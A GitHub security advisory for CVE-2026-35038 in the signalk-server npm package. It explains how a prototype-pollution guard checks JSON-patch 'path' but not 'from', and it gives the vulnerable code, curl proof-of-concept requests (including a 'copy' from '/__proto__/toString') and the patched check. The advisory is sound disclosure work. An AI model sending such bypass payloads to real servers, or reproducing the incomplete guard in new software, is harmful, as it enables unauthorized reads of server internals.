Skip to content

Signal K Server: Arbitrary Prototype Read via `from` Field Bypass

Low severity GitHub Reviewed Published Apr 1, 2026 in SignalK/signalk-server • Updated Apr 3, 2026

Package

npm signalk-server (npm)

Affected versions

< 2.24.0

Patched versions

2.24.0

Description

Summary

The /signalk/v1/applicationData/... JSON-patch endpoint allows users to modify stored application data. To prevent Prototype Pollution, the developers implemented an isPrototypePollutionPath guard. However, this guard only checks the path property of incoming JSON-patch objects. It completely fails to check the from property. Because JSON-patch operations like copy and move extract data using the from property path, an attacker can construct a payload where from targets /proto/someProperty, completely evading the security check and successfully executing an Arbitrary Prototype Read.

While this does not allow arbitrary code execution (as the destination path remains protected from proto), it does allow a user to exfiltrate internal Node functions and prototype state into their own application data.

Vulnerability Root Cause

File: src/interfaces/applicationData.js (Lines 48-57)

const DANGEROUS_PATH_SEGMENTS = ['__proto__', 'constructor', 'prototype']

function isPrototypePollutionPath(pathString) {
  const segments = pathString.split(/[./]/)
  return segments.some((seg) => DANGEROUS_PATH_SEGMENTS.includes(seg))
}

function hasPrototypePollutionPatch(patches) {
  return patches.some(
    // [!VULNERABLE] Only checks patch.path, completely ignores patch.from
    (patch) => patch.path && isPrototypePollutionPath(patch.path) 
  )
}

At Line 201:

if (hasPrototypePollutionPatch(req.body)) {
  res.status(400).send('invalid patch path')
  return
}
jsonpatch.apply(applicationData, req.body) // jsonpatch natively resolves 'from'

Proof of Concept (PoC)

Verify the Developer Guard Works (The Blocked Payload):

curl -X POST http://localhost:3000/signalk/v1/applicationData/global/testapp/1.0 \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '[{"op": "add", "path": "/__proto__/polluted", "value": "hacked"}]'

Result: 400 Bad Request - invalid patch path

Execute the Bypass (The Malicious Payload):

curl -X POST http://localhost:3000/signalk/v1/applicationData/global/testapp/1.0 \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '[{"op": "copy", "from": "/__proto__/toString", "path": "/stolen"}]'

Result: 200 OK - ApplicationData saved The security guard is bypassed and the json-patch engine successfully copies the proto internal function reference.

Screenshot 2026-03-24 150440

Security Impact

This vulnerability allows a low-privileged authenticated user to bypass prototype boundary filtering to extract internal functions and properties from the global prototype object this violates data isolation and lets a user read more than they should.

Fixing Arbitrary Prototype Read

The hasPrototypePollutionPatch function must be updated to inspect ALL path-related fields:

function hasPrototypePollutionPatch(patches) {
  return patches.some(
    (patch) => 
      (patch.path && isPrototypePollutionPath(patch.path)) ||
      (patch.from && isPrototypePollutionPath(patch.from))
  )
}

References

@tkurki tkurki published to SignalK/signalk-server Apr 1, 2026
Published by the National Vulnerability Database Apr 2, 2026
Published to the GitHub Advisory Database Apr 3, 2026
Reviewed Apr 3, 2026
Last updated Apr 3, 2026

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

EPSS score

Weaknesses

Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. Learn more on MITRE.

Out-of-bounds Read

The product reads data past the end, or before the beginning, of the intended buffer. Learn more on MITRE.

Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. Learn more on MITRE.

CVE ID

CVE-2026-35038

GHSA ID

GHSA-qh3j-mrg8-f234

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.
⚡